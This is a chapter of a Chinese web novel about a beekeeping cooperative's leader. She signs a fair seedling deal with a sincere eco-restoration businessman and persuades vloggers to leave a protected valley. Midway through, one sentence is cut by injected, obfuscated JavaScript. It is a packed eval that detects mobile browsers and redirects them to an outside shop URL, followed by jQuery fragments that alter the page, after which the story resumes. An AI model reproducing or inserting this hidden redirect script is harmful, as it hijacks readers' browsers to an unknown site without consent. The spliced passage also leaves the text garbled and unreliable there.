第四十二章：不速之客与真心朋友


    清晨五点半，王墨汐准时醒了。


    这是养蜂人养成的生物钟，比闹钟还准。她轻手轻脚起床，给还在睡的梁云峥和艾米丽掖好被子，换了身工装就出了门。


    合作社的清晨总是热闹的。夏薇已经在厨房忙活了，大锅里熬着粥，旁边蒸笼冒着白气。陈庆宇蹲在院子里检查蜂箱转运车，老钱戴着老花镜对账本，嘴里念念有词。


    “墨汐姐，早。”黄一心端着盆新鲜蔬菜进来，“后山菜地收的，给你留了最嫩的。”


    “谢谢一心。”王墨汐接过，“今天学校孩子们来，伙食得准备好。”


    “放心吧，夏薇姐列了单子，保证让孩子们吃得香。”


    正说着，梁云峥也出来了，手里拿着个文件袋。“墨汐，赵明发来的合作方资料，你先看看。”


    两人在院子里石桌旁坐下。资料是一家叫“绿源生态”的公司，老板姓李，叫李旭，四十出头，之前做有机农产品配送，现在想拓展蜜源植物种植板块。


    “李旭……”王墨汐觉得这名字有点耳熟，但一时想不起来。


    “赵明说他考察了三个月，这家公司信誉不错，做的几个生态项目都实实在在。”梁云峥翻到最后一页，“不过他们提出的合作模式，有点特别。”


    “怎么特别？”


    “他们不要股份，不要分红，只想签长期供货协议——咱们种出来的蜜源植物种苗，他们包销。价格比市场价高百分之二十。”


    王墨汐皱眉：“只要种苗？不要蜂蜜？”


    “对，只要种苗。”梁云峥指着条款，“而且他们承诺，所有种苗必须用于生态修复项目，不得商用。”


    这条件好得让人生疑。王墨汐合上资料：“等他们来了，当面谈。”


    上午九点，两辆车开进合作社。前面是赵明的黑色SUV，后面跟着辆白色越野车。车门打开，赵明先下来，接着是个穿浅灰色polo衫的男人，戴着黑框眼镜，看起来文质彬彬。


    “王总，梁总，这位就是李旭李总。”赵明介绍，“李总，这是王墨汐王总，梁云峥梁总。”


    李旭笑着握手：“久仰大名。你们的纪录片我看了三遍，太震撼了。特别是蓝胸木蜂那段，我女儿看得都入迷了。”


    他说话时眼神真诚，笑容自然，不像生意人，倒像学者。王墨汐心里的疑虑消了三分。


    一行人进会议室。李旭的助理拿出笔记本电脑，开始介绍他们的项目规划。原来“绿源生态”正在参与几个大型生态修复工程，需要在退化林地上补种本土蜜源植物，恢复生态系统。


    “我们找了很多供应商，但要么种苗质量不行，要么品种单一。”李旭认真地说，“直到看到你们的合作社——你们培育的蜜源植物品种多，适应性强，最关键的是，你们是真的懂生态，不是只做生意。”


    王墨汐问：“李总，你们要的量不小，价格也给得高。但我有个问题——为什么只要种苗，不要蜂蜜？蜂蜜才是直接盈利的产品。”


    李旭笑了：“王总问得好。说实话，蜂蜜我们也想要，但那是下一步。我们现在最缺的是种苗——好的种苗。生态修复是基础，基础打好了，蜜蜂自然来，蜂蜜自然有。我们不急。”


    这话说到王墨汐心坎上了。她看了眼梁云峥，梁云峥微微点头。


    “那具体合作细节……”


    “细节可以慢慢谈。”李旭说，“我今天来，主要是想看看你们的育苗基地，再看看蝶谷。不瞒您说，我是带着学习的心态来的。”


    这态度让人舒服。王墨汐起身：“好，那我带李总参观参观。”


    育苗基地在合作社后山，整整齐齐的苗床，各种蜜源植物长得正旺。郑教授和周文轩正在做记录，看到人来，热情地介绍。


    “这是岩蜜草，蓝胸木蜂最喜欢的蜜源之一。”周文轩指着一片开着紫色小花的植物，“我们正在研究它的花期调控，希望能延长采蜜期。”


    李旭蹲下仔细观察，还拿出手机拍照：“太棒了。这种植物我们在云南其他地区也试种过，但成活率不高。你们有什么秘诀？”


    “水土要配，管理要细。”郑教授说，“我们根据每种植物的特性，定制了不同的育苗方案。这些资料可以分享给你们。”


    “真的吗？”李旭眼睛亮了，“那太感谢了！”


    参观完育苗基地，又去蝶谷。这个季节蝶谷花开得正好，各色野花铺成地毯，蜜蜂嗡嗡飞舞。李旭站在谷口，深深吸了口气：“这里……这里让人心静。”


    王墨汐看着他陶醉的表情，忽然想起这人在哪见过——前世，她在一本生态杂志上看过他的专访，标题是“那个赔钱做生态的傻子”。


    她想起来了。前世的李旭，就是因为坚持做生态修复项目，不肯接利润高的商业工程，最后公司资金链断裂，破产了。但即使破产，他也没卖掉手里的生态林地，而是无偿捐给了保护区。


    这是个真心做事的人。


    “李总，”王墨汐开口，“合作协议我们可以签，但我有个条件。”


    “您说。”


    “价格不用高百分之二十，按市场价就行。”王墨汐认真地说，“省下的钱，你们用在项目上。我们要的是长期合作，不是一锤子买卖。”


    李旭愣了下，随即笑了：“王总，您和传言中一样。”


    “什么传言？”


    “传言说您做事业，先看人，再看事。”李旭伸出手，“我李旭向您保证，绿源生态绝不辜负这份信任。”


    两手相握，合作就这么定了。


    回合作社的路上，赵明松了口气：“王总，谢谢您。说实话，我比李总还紧张，生怕您不满意。”


    “你这次眼光不错。”王墨汐说，“赵明，合作社打算成立市场部，你愿意负责吗？”


    赵明脚步一顿：“我……我可以吗？”


    “你熟悉商业运作，又了解合作社的理念。最重要的是，你开始懂得分辨什么样的人值得合作。”梁云峥拍拍他的肩，“试试看。”


    赵明眼圈有点红：“好，我一定好好干。”


    中午，合作社招待李旭一行吃饭。菜都是家常菜，但样样用心。李旭吃得赞不绝口：“这青菜甜，这鸡汤鲜，比大酒店的好吃。”


    夏薇得意：“那是，我们的菜都是自己种的，鸡是散养的，吃的都是好东西。”


    正吃着，外面传来孩子们的喧闹声。艾米丽跑进来：“妈妈，我们学校的同学来了！”


    王墨汐一看时间，可不是，下午的自然课堂该开始了。她起身告罪：“李总，学校孩子们来上自然课，我得去照看一下。”


    “我能去看看吗？”李旭也站起来，“我女儿总说想去乡下学校看看，我今天替她看看。”


    一行人来到体验园。二十多个孩子正在老师带领下排队，小脸上写满兴奋。李老师看见王墨汐，笑着迎上来：“墨汐，又要麻烦你们了。”


    “不麻烦，孩子们能来，我们高兴还来不及。”


    自然课堂的第一个环节是参观蜜蜂幼儿园。艾米丽作为“小助教”，认真地给同学们讲解：“大家看，这是蜜蜂宝宝的房间，要轻轻的，不能吵到它们……”


    一个小男孩举手：“艾米丽，蜜蜂会咬人吗？”


    “蜜蜂一般不咬人，除非你伤害它。”艾米丽认真地说，“所以我们去看蜜蜂，要穿好防护服，动作要轻。”


    李旭站在人群后，看得入神。他小声对王墨汐说：“王总，你们做的事，意义太大了。这些孩子从小接触自然，了解生态，将来就是保护环境的主力军。”


    “我们也是这么想的。”王墨汐微笑，“李总要是感兴趣，以后可以带您女儿来参加夏令营。”


    “一定一定。”


    参观完蜜蜂幼儿园，孩子们分成三组，一组做蜂蜡蜡烛，一组学认蜜源植物，一组在专业人员指导下近距离观察蜂箱。欢声笑语充满了体验园。


    就在活动进行到一半时，岩温匆匆跑来，脸色不太好：“墨汐姐，山谷那边……来人了。”


    “什么人？”


    “几个背包客，说是探险的，找到那个隐秘山谷了。”岩温压低声音，“周教授和郑教授正在那边拦着，但他们非要进去拍照。”


    王墨汐心里一紧。那个山谷里有雨晴花，有蓝胸木蜂的核心栖息地，绝不能被打扰。


    “我去看看。”梁云峥立刻说。


    “我也去。”李旭站起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414603|198374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来，“多个人多个照应。”


    留下夏薇和黄一心照看孩子们，王墨汐、梁云峥、赵明、李旭跟着岩温往深山赶。路上，岩温说了情况：三个年轻背包客，两男一女，拿着专业设备，说是做自媒体，寻找“秘境”。


    “他们怎么找到的？”王墨汐问。


    “说是看了卫星地图，发现那片地形特殊。”岩温叹气，“现在的人，为了流量什么都敢闯。”


    赶到山谷入口时，周文轩和郑教授正拦在岩缝前。三个背包客站在对面，举着摄像机在拍。


    “凭什么不让我们进？这山是你家的？”一个染黄头发的年轻人嚷嚷。


    “这里是生态保护区，未经允许不得进入。”周文轩沉着脸，“请你们离开。”


    “保护区？我怎么没看到牌子？”另一个戴眼镜的男生说，“我们有探险的自由。”


    王墨汐走上前：“我是合作社负责人。这片区域正在进行科研监测，确实不对外开放。请你们理解。”


    “科研监测？”唯一的女生打量着王墨汐，“你们是什么科研机构？有证件吗？”


    梁云峥拿出合作社和研究站的相关文件：“这是我们的资质证明。如果你们需要，可以跟我们回合作社查看完整资料。”


    黄发青年看了眼文件，语气软了些：“我们大老远来，就为了拍点素材。这样，我们就进去拍十分钟，保证不打扰，行不行？”


    “不行。”王墨汐态度坚决，“里面的生态环境很脆弱，经不起打扰。请你们离开。”


    双方僵持不下。李旭忽然开口：“几位是做什么自媒体的？账号叫什么？我关注一下。”


    女生报了账号名。李旭拿出手机搜了下，笑了：“原来你们是‘荒野探秘’啊，我经常看你们的视频。上周那期溶洞探险拍得不错。”


    被认出是“大V”，三人脸色缓和了些。李旭继续说：“不过你们可能不知道，这片雨林是很多珍稀物种的最后栖息地。你们进去拍十分钟，可能就会惊扰到正在繁殖的动物，破坏需要几十年才能形成的生态环境。”


    他顿了顿：“我是做生态修复的，见过太多因为人类干扰而消失的物种。你们做自媒体，有影响力，更应该带头保护自然，而不是为流量破坏自然。”


    这话说得诚恳又有分量。三个年轻人互相看了看，黄发青年先收起设备：“李总说得对……是我们考虑不周。”


    “这样，”李旭提议，“你们如果真想拍雨林生态，可以跟合作社合作，拍一期保护珍稀蜜蜂的专题。既有趣味性，又有教育意义。王总，您觉得呢？”


    王墨汐没想到李旭会这么提议，但她立刻领会了意图：“可以。我们正好想通过新媒体让更多人了解蜜蜂保护。”


    “太好了！”女生眼睛亮了，“王总，我们可以加个微信吗？具体细节我们再聊。”


    一场危机就这么化解了。送走三个背包客，王墨汐松了口气：“李总，谢谢您。”


    “应该的。”李旭笑，“其实我也是在帮自己——这么好的地方要是被破坏了，我们将来哪还有蜜源植物可种？”


    众人都笑了。回合作社的路上，夕阳把山林染成金色。王墨汐看着身边的梁云峥、赵明、李旭，还有前面走着的两位老教授和岩温，心里忽然很踏实。


    重活一世，她不仅改变了命运，还遇到了这些志同道合的人。


    晚上，送走李旭一行，合作社开了个小会。赵明正式接手市场部，第一项工作就是和“荒野探秘”团队对接，策划蜜蜂保护专题。夏薇负责夏令营第二期的筹备，黄一心协助。陈庆宇和老钱则要扩大育苗基地规模，应对绿源生态的订单。


    “墨汐，”散会后，梁云峥轻声说，“今天累了，早点休息。”


    “嗯。”王墨汐靠在椅子上，“梁云峥，你说……咱们的路是不是越走越宽了？”


    “是。”梁云峥握住她的手，“因为你走的是正道。正道虽然难，但越走同行的人越多。”


    窗外月色正好。王墨汐看着合作社院子里温暖的灯光，想着这一天的经历——真诚的合作者，可爱的孩子们，还有那些虽然莽撞但愿意听劝的年轻人。


    世界这么大，总有人在认真做事，总有人在用心生活。